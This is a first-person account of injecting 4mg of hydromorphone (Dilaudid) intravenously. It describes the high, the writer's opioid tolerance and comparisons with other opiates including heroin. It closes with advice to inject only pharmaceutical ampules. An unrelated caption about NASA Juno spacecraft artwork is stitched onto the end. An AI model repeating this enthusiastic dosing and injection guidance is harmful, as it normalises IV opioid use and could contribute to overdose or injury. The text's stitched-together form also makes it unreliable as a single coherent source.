But of course it still was very nice, everyone who has taken stronger opiates before will know the nice, relaxed, careless feeling they give you. I just layed on my bed staring blankly out of the window and was simply feeling ... fine. Empty headed but not in a negative sense, not the dull feeling benzos give you, but a wonderful soft nothingness. You can see, the experience definitely was nice, but I missed the rush feeling you always hear of. I fear my tolerance has grown a bit high over the past 2 years, so the 4mg were not enough. I stood up, noticing walking was a bit difficult and went to the bathroom to see if my pupils had become smaller.  :) I was just being there, not careing about anything and was just feeling fine while standing in my small 4qm bathroom that hardly deserves that name. Yep, Dilaudid i.v. has its powers...
Dilaudid also gives you a very clean high as compared to other opiates. It's hard to describe, but just think about codeine, it is not as clean as morphine and morphine is not as clean as hydromorphone. Heroin (which I only did nasally) also has this clean feeling and Dilaud really is quite equal to heroin.
Every opiate when done i.v. wears off rather fast and especially hydromorphone is short-acting. The effects gradually decreased and about 1-2h after injection I was pretty much base-line. My mood was still lifted up but I was not really high anymore.
I feel like I should give this warning at the end: You should never inject any drugs besides pharmaceutical ones and I don't mean dissolved pills but only ampules. Anything else is dangerous for your health and it also keeps the frequency of usage very low as at least for me it is nearly impossible to get ahold of injectable opiates.
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Citizen scientist Rick Lundh created this abstract Jovian artwork using data from the JunoCam imager on NASA’s Juno spacecraft. Dec. 16, 2017 at 9:43 a.m. PST
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